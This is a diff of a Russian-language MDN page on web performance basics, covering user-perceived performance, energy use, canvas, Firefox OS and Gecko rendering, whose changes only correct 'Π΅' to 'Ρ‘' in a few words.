-<p>ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ… Ρ€Π°Π²Π½Ρ‹Ρ…, ΠΊΠΎΠ΄, ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ для ΠΊΠ°ΠΊΠΈΡ…-Ρ‚ΠΎ ΠΈΠ½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ, ΠΊΡ€ΠΎΠΌΠ΅ ΠΎΡ‰ΡƒΡ‰Π°Π΅ΠΌΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ (здСсь ΠΈ дальшС UPP, user-perceived performance) всСгда ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠΎΠ΄Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ для UPP. Π£ΠΏΡ€ΠΎΡ‰Π΅Π½Π½ΠΎ говоря, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ΅ ΠΈ ΠΏΠ»Π°Π²Π½ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ 1,000 Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π² сСкунду Π³Ρ€ΡƒΠ±ΠΎΠΌΡƒ Π½Π΅ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ 100,000,000 запросов Π² сСкунду. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠΈ становятся Π½Π΅Π½ΡƒΠΆΠ½Ρ‹ΠΌ, Π½ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠΉ вашСй Ρ†Π΅Π»ΡŒΡŽ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ UPP.</p>
+<p>ΠŸΡ€ΠΈ ΠΏΡ€ΠΎΡ‡ΠΈΡ… Ρ€Π°Π²Π½Ρ‹Ρ…, ΠΊΠΎΠ΄, ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ для ΠΊΠ°ΠΊΠΈΡ…-Ρ‚ΠΎ ΠΈΠ½Ρ‹Ρ… Ρ†Π΅Π»Π΅ΠΉ, ΠΊΡ€ΠΎΠΌΠ΅ ΠΎΡ‰ΡƒΡ‰Π°Π΅ΠΌΠΎΠΉ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ (здСсь ΠΈ дальшС UPP, user-perceived performance) всСгда ΠΏΡ€ΠΎΠΈΠ³Ρ€Ρ‹Π²Π°Π΅Ρ‚ ΠΊΠΎΠ΄Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½ для UPP. Π£ΠΏΡ€ΠΎΡ‰Ρ‘Π½Π½ΠΎ говоря, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΠΈ ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡ΠΈΡ‚Π°ΡŽΡ‚ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠ΅ ΠΈ ΠΏΠ»Π°Π²Π½ΠΎΠ΅ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ 1,000 Ρ‚Ρ€Π°Π½Π·Π°ΠΊΡ†ΠΈΠΉ ΠΊ Π±Π°Π·Π΅ Π΄Π°Π½Π½Ρ‹Ρ… Π² сСкунду Π³Ρ€ΡƒΠ±ΠΎΠΌΡƒ Π½Π΅ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΌΡƒ ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Π΅Ρ‚ 100,000,000 запросов Π² сСкунду. ΠšΠΎΠ½Π΅Ρ‡Π½ΠΎ, это Π½Π΅ ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠΈ становятся Π½Π΅Π½ΡƒΠΆΠ½Ρ‹ΠΌ, Π½ΠΎ ΠΏΠ΅Ρ€Π²ΠΎΠΉ вашСй Ρ†Π΅Π»ΡŒΡŽ Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ UPP.</p>
<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Ρ€Π°Π·Π΄Π΅Π»Ρ‹ ΡƒΠΊΠ°ΠΆΡƒΡ‚ ΠΈ ΠΎΠ±ΡŠΡΡΠ½ΡΡ‚ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠ΅Ρ‚Ρ€ΠΈΠΊΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ:</p>
@@ -55,7 +55,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>ПослСдний ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»ΡŒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π½ΡƒΠΆΠ½ΠΎ ΡƒΠΏΠΎΠΌΡΠ½ΡƒΡ‚ΡŒ - это ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ энСргии. Подобно использованию памяти, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ чувствуСт ΠΏΠΎΡ‚Ρ€Π΅Π±Π»Π΅Π½ΠΈΠ΅ памяти опосрСдованно, отмСчая врСмя, Ρ‡Π΅Ρ€Π΅Π· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ устройство Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½ΡΡ‚ΡŒ Π²ΠΎΡΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅ΠΌΡƒΡŽ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Π΅ΠΌ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ (UPP). Для ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΡ‚Ρ€ΠΈΡ†Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… эффСктов использования энСргии, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π΄Π΅Π»Π°Ρ‚ΡŒ систСму экономной.</p>
-<p>Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, вспомнитС, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅ΠΆΠΈΠΌ энСргосбСрСТСния, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ систСмы. Но Π΅ΡΡ‚ΡŒ ΠΈ Π±ΠΎΠ»Π΅Π΅ ТСсткий Ρ€Π΅ΠΆΠΈΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ автоматичСски, ΠΊΠΎΠ³Π΄Π° заряд ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ Π΄ΠΎ 5% - систСма Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚Ρ€ΠΎΡ‚Ρ‚Π»ΠΈΠ½Π³ процСссора, замСдляя Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ всСх инструкций.</p>
+<p>Для ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π°, вспомнитС, ΠΊΠ°ΠΊ Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‚ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Π΅ устройства: Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Ρ€Π΅ΠΆΠΈΠΌ энСргосбСрСТСния, ΠΊΠΎΠ³Π΄Π° ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π°ΡŽΡ‚ΡΡ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ систСмы. Но Π΅ΡΡ‚ΡŒ ΠΈ Π±ΠΎΠ»Π΅Π΅ Тёсткий Ρ€Π΅ΠΆΠΈΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ΡΡ автоматичСски, ΠΊΠΎΠ³Π΄Π° заряд ΡƒΠΌΠ΅Π½ΡŒΡˆΠ°Π΅Ρ‚ΡΡ Π΄ΠΎ 5% - систСма Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Ρ‚Ρ€ΠΎΡ‚Ρ‚Π»ΠΈΠ½Π³ процСссора, замСдляя Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ всСх инструкций.</p>
<p>Π’ΡΡŽ ΠΎΡΡ‚Π°Π²ΡˆΡƒΡŽΡΡ Ρ‡Π°ΡΡ‚ΡŒ ΡΡ‚Π°Ρ‚ΡŒΠΈ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ ΠΎΠ±ΡΡƒΠΆΠ΄Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ Π² свСтС этих ΠΏΠΎΠΊΠ°Π·Π°Ρ‚Π΅Π»Π΅ΠΉ.</p>
@@ -72,7 +72,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ Π₯олст (<code>canvas</code>) прСдоставляСт прямой доступ ΠΊ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½ΠΎΠΌΡƒ Π±ΡƒΡ„Π΅Ρ€Ρƒ, Π³Π΄Π΅ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ ΠΌΠΎΠΆΠ΅Ρ‚ Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ.Π­Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΡƒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ пиксСль Π²ΠΎ врСмя Ρ€Π΅Π½Π΄Π΅Ρ€ΠΈΠ½Π³Π°, Ρ‚ΠΎΡ‡Π½ΠΎ ΠΊΠΎΠ½Ρ‚Ρ€ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ частоту ΠΊΠ°Π΄Ρ€ΠΎΠ²; Π½ΠΎ Ρ‚ΠΎΠ³Π΄Π° Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² Π²ΠΈΠ΄Ρƒ Ρ€Π°Π±ΠΎΡ‚Ρƒ с большим количСством Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ экранов ΠΈ ΠΎΡ€ΠΈΠ΅Π½Ρ‚Π°Ρ†ΠΈΠΉ; RTL языками ΠΈ Ρ‚.Π΄. Π Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ, Ρ€Π°Π±ΠΎΡ‚Π°ΡŽΡ‰ΠΈΠ΅ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ с холстами, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ Π»ΠΈΠ±ΠΎ Π·Π½Π°ΠΊΠΎΠΌΠΎΠ΅ 2D API, Π»ΠΈΠ±ΠΎ API WebGL, достаточно "Π±Π»ΠΈΠ·ΠΊΠΈΠΉ ΠΊ ΠΆΠ΅Π»Π΅Π·Ρƒ" ΠΈ ΠΏΠΎ большСй части ΠΏΡ€ΠΈΠ΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠΉΡΡ OpenGL ES 2.0.</p>
<div class="note">
-<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: </strong>Firefox OS ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π° для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с прилоТСниями, основанными Π½Π° Web тСхнологиях: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a> ΠΈ Ρ‚.Π΄. Π—Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Π°Π·ΠΎΠ²Ρ‹Ρ… слуТб ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы, вСсь ΠΊΠΎΠ΄ Firefox OS ΠΏΡ€ΠΈΡˆΠ΅Π» ΠΈΠ· Web ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π΄Π²ΠΈΠΆΠΊΠ° Gecko. Π”Π°ΠΆΠ΅ ΠΎΠΊΠΎΠ½Π½Ρ‹ΠΉ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы написан Π½Π° HTML, CSS ΠΈ JavaScript. Π’ связи с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ядро ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы написано  Π½Π° этих тСхнологиях, Π±Ρ‹Π»ΠΎ критичСски Π²Π°ΠΆΠ½ΠΎ ΡΠΎΠ±Π»ΡŽΡΡ‚ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ этих Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. Π’ Firefox OS Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ "запасного Π²Ρ‹Ρ…ΠΎΠ΄Π°". И это ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ сторонниС прилоТСния ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС прСимущСства ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы. НС сущСствуСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ "магичСского зСлья ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ", доступного Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для прСдустановлСнных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</p>
+<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°: </strong>Firefox OS ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π° для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с прилоТСниями, основанными Π½Π° Web тСхнологиях: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a> ΠΈ Ρ‚.Π΄. Π—Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Π°Π·ΠΎΠ²Ρ‹Ρ… слуТб ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы, вСсь ΠΊΠΎΠ΄ Firefox OS ΠΏΡ€ΠΈΡˆΡ‘Π» ΠΈΠ· Web ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ ΠΈ Π΄Π²ΠΈΠΆΠΊΠ° Gecko. Π”Π°ΠΆΠ΅ ΠΎΠΊΠΎΠ½Π½Ρ‹ΠΉ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ€ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы написан Π½Π° HTML, CSS ΠΈ JavaScript. Π’ связи с Ρ‚Π΅ΠΌ, Ρ‡Ρ‚ΠΎ ядро ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы написано  Π½Π° этих тСхнологиях, Π±Ρ‹Π»ΠΎ критичСски Π²Π°ΠΆΠ½ΠΎ ΡΠΎΠ±Π»ΡŽΡΡ‚ΠΈ ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ этих Ρ‚Π΅Ρ…Π½ΠΎΠ»ΠΎΠ³ΠΈΠΉ. Π’ Firefox OS Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ "запасного Π²Ρ‹Ρ…ΠΎΠ΄Π°". И это ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ², ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ сторонниС прилоТСния ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ всС прСимущСства ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы. НС сущСствуСт ΠΊΠ°ΠΊΠΎΠ³ΠΎ-Ρ‚ΠΎ "магичСского зСлья ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ", доступного Ρ‚ΠΎΠ»ΡŒΠΊΠΎ для прСдустановлСнных ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ.</p>
<p>Π‘ΠΌ. <a href="/en-US/docs/Archive/B2G_OS/Firefox_OS_apps/Performance/Firefox_OS_performance_testing">ВСстированиС ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Firefox OS</a> для подробностСй.</p>
</div>
@@ -81,7 +81,7 @@ original_slug: Web/Performance/ΠžΡΠ½ΠΎΠ²Ρ‹
<p>Π”Π²ΠΈΠΆΠΎΠΊ Gecko JavaScript ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ just-in-time (JIT) ΠΊΠΎΠΌΠΏΠΈΠ»ΡΡ†ΠΈΡŽ. Благодаря этому, Π»ΠΎΠ³ΠΈΠΊΠ° прилоТСния выполняСтся ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΊΠ°ΠΊ это происходит Π² Π΄Ρ€ΡƒΠ³ΠΈΡ… прилоТСниях Π½Π° Π²ΠΈΡ€Ρ‚ΡƒΠ°Π»ΡŒΠ½Ρ‹Ρ… ΠΌΠ°ΡˆΠΈΠ½Π°Ρ… - Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Java Virtual Machines - Π° Π² Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… случаях ΡΡ„Ρ„Π΅ΠΊΡ‚ΠΈΠ²Π½ΠΎΡΡ‚ΡŒ этих ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ Π±Π»ΠΈΠ·ΠΊΠ° ΠΊ "Π½Π°Ρ‚ΠΈΠ²Π½ΠΎΠΌΡƒ ΠΊΠΎΠ΄Ρƒ".</p>
-<p>Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚Ρ‹, Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹Π΅ для Ρ€Π°Π±ΠΎΡ‚Ρ‹ с HTML, CSS ΠΈ Canvas ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Ρ‹ нСсколькими путями. НапримСр, композиция (этап, извСстный ΠΊΠ°ΠΊ Layout) Π² HTML/CSS ΠΈ ΠΊΠΎΠ΄, ΠΎΡ‚Π²Π΅Ρ‡Π°ΡŽΡ‰ΠΈΠΉ Π·Π° Π³Ρ€Π°Ρ„ΠΈΠΊΡƒ Π² Gecko, сдСланы Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΌΠ΅Π½ΡŒΡˆΠΈΡ‚ΡŒ количСство ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΉ Ρ€Π΅Π²Π°Π»ΠΈΠ΄Π°Ρ†ΠΈΠΈ ΠΈ пСрСрисовки для ΠΎΠ±Ρ‰ΠΈΡ… случаСв (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, скроллинг); эти ΠΎΠΏΡ‚ΠΈΠΌΠΈΠ·Π°Ρ†ΠΈΠΈ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Ρ‹ "ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ", поэтому Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΈ ΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ ΠΈΠΌΠΈ бСсплатно. Π‘ΡƒΡ„Π΅Ρ€Ρ‹ пиксСлСй, отрисованных ΠΊΠ°ΠΊ для Gecko "автоматичСски", Ρ‚Π°ΠΊ ΠΈ для <code>canvas</code> "Π²Ρ€ΡƒΡ‡Π½ΡƒΡŽ", ΠΌΠΈΠ½ΠΈΠΌΠΈΠ·ΠΈΡ€ΡƒΡŽΡ‚ количСство ΠΊΠΎΠΏΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‚ΡΡ Π² Π±ΡƒΡ„Π΅Ρ€ ΠΊΠ°Π΄Ρ€ΠΎΠ² дисплСя. Π§Ρ‚ΠΎΠ±Ρ‹ Π΄ΠΎΡΡ‚ΠΈΡ‡ΡŒ этого, Gecko стараСтся ΠΈΠ·Π±Π΅Π³Π°Ρ‚ΡŒ создания ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΡ‡Π½Ρ‹Ρ… слоСв (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½Ρ‹Ρ… систСмах ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΏΠΈΠΊΡΠ΅Π»ΡŒΠ½Ρ‹Π΅ Ρ„ΠΎΠ½ΠΎΠ²Ρ‹Π΅ Π±ΡƒΡ„Π΅Ρ€Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ прилоТСния), Π½ΠΎ Π²Π·Π°ΠΌΠ΅Π½ Gecko ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ участки памяти для хранСния графичСских Π±ΡƒΡ„Π΅Ρ€ΠΎΠ². К этой памяти ΠΈΠΌΠ΅Π΅Ρ‚ прямой доступ ΠΆΠ΅Π»Π΅Π·ΠΎ, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ отвСтствСнно Π·Π° Ρ„ΠΎΡ€ΠΌΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠ°Ρ€Ρ‚ΠΈΠ½ΠΊΠΈ. Π‘Π»ΠΎΠΆΠ½Ρ‹Π΅ сцСны рСндСрятся с использованиСм графичСского Π°Π΄Π°ΠΏΡ‚Π΅Ρ€Π° (Π²ΠΈΠ΄Π΅ΠΎΠΊΠ°Ρ€Ρ‚Ρ‹). А простыС сцСны, для экономии энСргии, рСндСрятся ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π²Ρ‹Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΆΠ΅Π»Π΅Π·ΠΎΠΌ для ΠΊΠΎΠΌΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Π² Ρ‚ΠΎ врСмя, ΠΊΠ°ΠΊ графичСский 